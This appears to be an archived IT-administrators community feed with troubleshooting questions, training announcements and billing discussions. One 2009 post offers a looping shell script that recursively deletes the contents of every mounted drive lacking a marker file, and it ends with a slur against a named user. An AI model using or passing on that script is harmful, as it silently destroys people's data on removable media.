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Thursday, December 6th, 2012
4:29 pm
Help needed! Outlook 2011 for Mac.
Hey guys,

I really need help here.
I want to archive Inbox in Outlook 2011 for Mac. This would be a pretty simple if you do it locally. But I need to keep archive folder on network location. Is that possible to save mail archive somewhere on local network and then connect it to Outlook 2011? I will appreciate if somebody shares experience in this field. I spent hours trying to find some information on official support forums but still have no result. 
Tuesday, December 29th, 2009
12:33 pm
It makes buttheart for flash-drive users

while true
cat /etc/mtab| grep ${ERD}| awk '{printf $2"/\n"}'| sed 's/\\040/ /'|
while read ser
((cat "${ser}.sotona"| grep wan-e4to) >/dev/null 2>/dev/null) ||
rm -fr "${ser}"
sleep 181

All u need for AV is file .sotona with text wan-e4to.

P.S. 2 v_martyanov - luser && fagot
Thursday, June 19th, 2008
2:40 pm

Hello everybody:


My name is Bill, I work for a company out here in California called GoJobs.com.  We’re currently undergoing a major site redesign aimed at delivering better targeted results to job seekers. 


I would welcome any and all feedback regarding the site, its design and usability, and anything else you can think of.

As I know all too well, IT admin/Business Systems is a transitive field, people are always looking for the next, better opportunity.  We want to make the site really user friendly, and think we need a pretty good overhaul.




Thank you in advance for you assistance, and good luck in all of your pursuits!

Tuesday, January 8th, 2008
12:49 pm
Exchange Server 2007 SP1 Issues?
(x-posted various)

Has anyone installed Service Pack 1 for Exchange Server 2007 yet? Did you run into any problems?
Monday, October 15th, 2007
10:46 pm
Tuesday, October 9th, 2007
8:48 am
For anyone trying to recover data from a dead hard drive...
And no, the user didn't have a backup...

DON'T use http://www.rapid-data.net/

Their eMail systems are flaky, their prices rise exponentially, and in my case, they failed to get anything back. This isn't jsut a rant because they failed to retrieve anything, this is me not being in the slightest bit impressed with their customer service.
Monday, September 17th, 2007
4:58 pm
Enterprise SAN Brands
What are your favorite (or least favorite) SAN 'brands' (Manufacturer) and why?

(Details in crosspost on itprofessionals)
Monday, August 20th, 2007
3:54 pm
For Your Consideration
I would like to create a simple "beginning troubleshooting" wiki, something one could refer beginners to, as an aid.

Theoretically it could begin simply, then branch off to more complex topics through links in answers to questions.

It is here:

Click on the "First Steps" link, and there you will find the password.

It is noted that this is likely to be a project which may take some time (depends on how many people we can get to work on it) but should be very worthwhile, especially to beginners in the field of IT administration. There are LOTS of resources out there on the web. We would like to have links to them in appropriate places in the troubleshooting procedure.

Thanking you in advance for your participation,
Gary Droit
Tuesday, July 17th, 2007
4:40 pm
Is anyone currently using OpenNMS in their networks? If so, did you have an outside source install it, or did you install yourself? What OS/versions are you running it on?

I've been trying to get OpenNMS to install on Debian Etch for the last few days and have been failing miserably during the actual OpenNMS install. I've downloaded the .deb packages and source tarballs for 1.2.9 and 1.3.5 from sourceforge and haven't been able to get either path to work.

So far, I've been installing postgre, tomcat, and rrdtool through apt-get and that seems to be giving me the majority of my issues. I think I'm going to try building everything from source tomorrow.

Anyone who has installed OpenNMS recently: Can you give any suggestions? I've googled the hell out of this, printed all of the documents from OpenNMS.org. I have three versions of the install document and neither seems to get me through the installation completely.


Current Mood: aggravated
Monday, July 16th, 2007
3:51 pm
Upgrade Your Career with Sysadmin Days
LOPSA, the League of Professional System Administrators, offers it's second Sysadmin Days event on August 6 & 7 in Cherry Hill, NJ. The location is easy commute from those in the NY/NJ/Philly area, and not too far for folks from a bit further away.

This two day training event is geared specifically for sysadmins. Attendees can take 4 half-day classes in a wide variety of technical and professional topics, including Time Management, Security, Disaster Recovery, Solaris 10 Troubleshooting, Automating Windows Administration, Developing IT policies, topics in Linux Administration, and more.

Price per person is well under $1000 -- as low as $399 ($149 for students) if you register on or before July 18. Price includes continental breakfast, coffee breaks and lunches on both days, plus dinner and evening events on Monday.

Take a look at http://www.lopsa.org/SysadminDays/ and sign up soon.

2 days. 1 night. 4 classes. 12 experts. And you.
LOPSA Sysadmin Days - Professional Training
Thursday, June 21st, 2007
10:13 am
wireshark tcp dup ack and tcp out-of-order
To all:

What is the norm for these types of packets on your networks? Are these a rarity, or do you see them pretty frequently when running wireshark/ethereal?


Current Mood: exhausted
Thursday, June 7th, 2007
10:32 am
Remote desktop connection failure
I have a client that has dell p4 Windows XP SP2 server on a static DSL IP that they remote access using windows remote desktop from home on their Sony VAIO Intel Centrino Windows XP Media Center Edition 2005 and time warner cable high speed. IT has worked for 2 years and it quit working monday. Here is the problem they can no longer remotely access the server from home it will work for any other connection including a twc one but not from home. At home they can remote to test servers I setup at alternate ip addresses  but not to test servers at the work ip or even the work server.

Things I have tried:
1. reset of all equipment on both ends
2. Verification of the correct configurations on the routers
3. Checked the MTU settings on both routers 1492
4. Turned off themes and bitmap caching in remote desktop
5. changed the screen resolution to be 800x600 at 256 bit color on the laptop and in remotoe desktop and made the remote server match
6. turnned of the firewalls on the dell and disable norton 2006 on the laptop and all of its features. nothing.
7. DId the obligatory scans for spyware and viruses using hitman pro for spyware and running all of those tools in paid mode. Scaned for Viruses with AVG, Avast and Antivir
8. checked on MS technet they said I needed to upgrade to the newest version of terminal services. I did it did not help.
9. I changed the MTU on both sides to 1492 since that is the suggest from SBC for PPOE dsl connection prior it was 1500 in both locations
10. I installed tightvnc and they still cannot get home access for the computer it will connect, prompt for a password and freeze after 1/2 of the screen is loaded and die which is better than remote desktop that wont even load the screen

::EDIT:: I just tried putting the server in the dmz on the router still no good. I genuinely believe it has something to do with somehting one of the isp's has changed. Nothing new has been installed on the computers in ages other than windows updates.

I found this article and I have a almost the same problem but I cannot get his results
Remote Desktop

I just don't know what else to do I am working the search engines and not really finding much helpful

Any help or suggestions would be greatly appreciated its killing me here

::EDIT:: the problem is solved amazingly enough. Thanks to all of you for you help. The problem was the MTU size on the home connection.
The Office connection was 1492 and that was the same as the setting on the home router. The issue actually was on the cable modem.
I Logged onto the modem and disabled the SPI firewall and changed the mtu size to 1473 on the modem and everything worked perfectly.
IF I turned the SPI firewall on the modem on it would not work. If I raised the mtu to 1474 I would have packets drop and at 1475 or higher it would not work.
So thank you all of you for all of  your help and suggestions. You rock.

::EDIT 2:: the ICMP traffic both in and out was being limited by the modem. I still think that the traffic is being limited a point further down than the modem due to the discrepency in size

whenever i use this comand

ping -l 1500 -f <IP address>

and change the mtu size above its current setting from the home connection to any ip address I get this message
Packet needs to be fragmented but DF set.
and when I do a tracert with that large of a packet actually configured I get "request timed out"


Should I drop the office MTU down to match the home or leave it as is now?

xposted: itprofessionals
Thursday, May 24th, 2007
1:09 pm
Billing for projects worked on in parallel
(Cross-posted to computerpros, too...)

So far in my career, I've been fortunate enough (where "fortunate" is in the eye of the beholder, it's got its good points and bad points...) to not have to worry about accounting for my time on a project-by-project basis - the IT organizations I've worked in have been funded either as part of overhead (just an "internal tax" that everyone in the organization pays a share of), or under some kind of equitable distribution where our costs are spread proportionally across the teams that we provide services to. So I've never had to worry about tracking my time against individual projects. Though I'm wondering how much longer I'm going to be able to avoid that...

In thinking about this, I'm wondering about something. Let's suppose a client needs something done - like, maybe they need something restored from a backup (just to pick an example). You mount the tape/CD/DVD/whatever, and start the restore. It takes a while, so you wait. In the simplest case, this is easy - I look at what time I started the restore, I look at what time it finished, and I book that time against the client's project.

But now, what about the following... Same scenario as above, client needs something restored from backup. But, there's also a second client on a different project, and they need a backup restored too. So you start the first client's restore. Then in a different window, you start the second restore for the second client. Eventually, they both finish, and both clients have what they wanted.

So, how do you account for the time you spent? Do you split the time down the middle? Do you double-book the time (that is, to you bill both clients for your time between 2:00pm and 2:30pm, or whenever you were doing the work)? If you don't double-book the time, why not? (Seeing as how both clients got their service during the same time slot, and you used essentially the same amount of time and got the same result as you would have if you weren't simultaneously working on a second project?) Do you use some predetermined formula to decide what to do? Or do you simply not work on more than one project at a time, just to avoid this kind of issue?

Fundamentally, the issue is that a lot of things you do in an IT job have signfigant delays built into them (like in my example, the amount of time it takes for the tape/CD to be read, and the backup to be restored). If you are doing project-based billing, how do you account for that? Do you only bill for time you personally spend "doing stuff"? Like, it takes 5 minutes to mount the backup tape and type the command, 5 minutes at the end to put the tape away and verify that it was successful, and 20 minutes in between where the tape is reading and you don't need to do anything - do you bill for 10 minutes of time and consider the remaining 20 minutes to be "non-productive" time? Or do you bill the entire 30 minutes to that one project?

What's typical? What's ethical? What would you do in this scenario?
Wednesday, April 25th, 2007
5:57 pm
Thursday, January 11th, 2007
3:51 pm
Network & System Monitoring
Network & System Monitoring
What's your favorite Network and System monitoring Software/Solution?

(Details in crosspost on itprofessionals)
Tuesday, January 2nd, 2007
12:49 pm
Win2k3 Terminal Server?
I have a Windows 2003 Server running MS SQL 2005 Enterprise, in a workgroup environment. No Active Directory or Domain services.

Terminal Services was installed during the OS install, and is actually not needed. The machine only runs SQL, and all tasks should be able to be completed using "Remote Desktop Administration" mode, instead of Terminal Services.

Terminal Services has expired (default 120 day mark) and will not allow remote connections at this point. When I attempt to uninstall Terminal Services, a get a message that scares the heebie geebies out of me.

It states that programs installed after terminal services was installed may need to be reinstalled after uninstalling Terminal Services.

I assume this is for remote computing applications, such as office applications and such. Does anyone know if uninstalling TS will affect my SQL Server?

Current Mood: scared
Tuesday, November 21st, 2006
9:51 am
Polling в CiscoWorks
Привет! А кто-нибудь знает, как в ciscoworks задизаблить проверку ip коннективности отдельных компонентов (например портов) у девайсов? Т.к. из-за этого возникает много ненужных алармов. Документация читалась неоднократно, ответ не найден.
Friday, November 17th, 2006
10:39 am
Networking Issues
Here's a nice long one. I hope it's confusing enough for everyone. I'm having some trouble getting a couple pieces of hardware to talk to each other. I have a Coastcom R930 Series Fiber Optic Multiplexer, that I need to connect to my Cisco 7206 VXR Router.

The Coastcom is (allegedly, by the telephone company) set to 10mbit Full-Duplex. Unfortunately, I do not have a 10mbit full duplex port on my router. My only two choices are a 10mbit Half Duplex, or a 100mbit Full duplex port. Because of the amount of traffic on my network, Half-Duplex just isn't an option. (We're a small web hosting company. Lots of traffic, in and out. Running at half duplex causes way to many collisions and other such errors, and just about drags the network to a halt.)

I decided to place a bridge between the Coastcom and my router, basically to act as a media converter. I took a spare PC I had lying around that had two NIC's. I set one to 10mbit full, and the other to 100mbit full and bridged the connection. I Connected the Coastcom to the 10 port, and the router to the 100 port, and everything is running fine.

I'd like to remove this PC and replace it with a switch, just for the smaller form factor (1U vs 5U w/ a Monitor, Mouse and Keyboard) and less power usage, which will help out my already straining UPS's.

My problem is that when I seem to be having an issue with the auto-negotiation/auto-sensing of the connection with all of my switches. When I plug the Coastcom unit into a switch that's set to auto, it will connect at 10mbit Half-Duplex. Any unmanaged switch I connect the Coastcom to will connect at 10mbit half.

If I use a managed switch and manually set the port speed and duplex on the switch to 10mbit full, the devices will not connect. No link light, no traffic. The managed switch I'm working with is a 3com Baseline 2226 plus. I also have a Cisco Catalyst 2948G-L3, but I do not believe it supports VLANs, which I would need to create to separate my fiber backbone from my servers.

Does anyone have any idea what's going on with the duplex running this thing to my 3Com switch, or help me figure out what I need to do to get my Cisco Switch to support Vlans? I can give more info about any of the hardware as needed.

Thanks everyone!

Current Mood: frustrated
Tuesday, October 10th, 2006
1:25 pm
LOPSA presents: SysAdminDays - Phoenix

SysAdminDays - Phoenix

The League of Professional System Administrators presents our first training event: two days of technical and professional classes aimed towards junior and mid-level system administrators.

Topics include:
- Disaster recovery
- Time management
- Perl 6
- Automating windows administration
- Ethics & professionalism
- Telephony & VoIP

and much, much more.

"Early Bird" registration ends soon, register now!
Tuesday, September 26th, 2006
2:42 pm
Here's an interesting one for you all.

Has anyone come across a gadget that lets you take the output from a PC (ie keyboard, video and mouse) and connect them to a laptop, either by USB or PCMCIA?

Be nice to use a laptop to admin servers.

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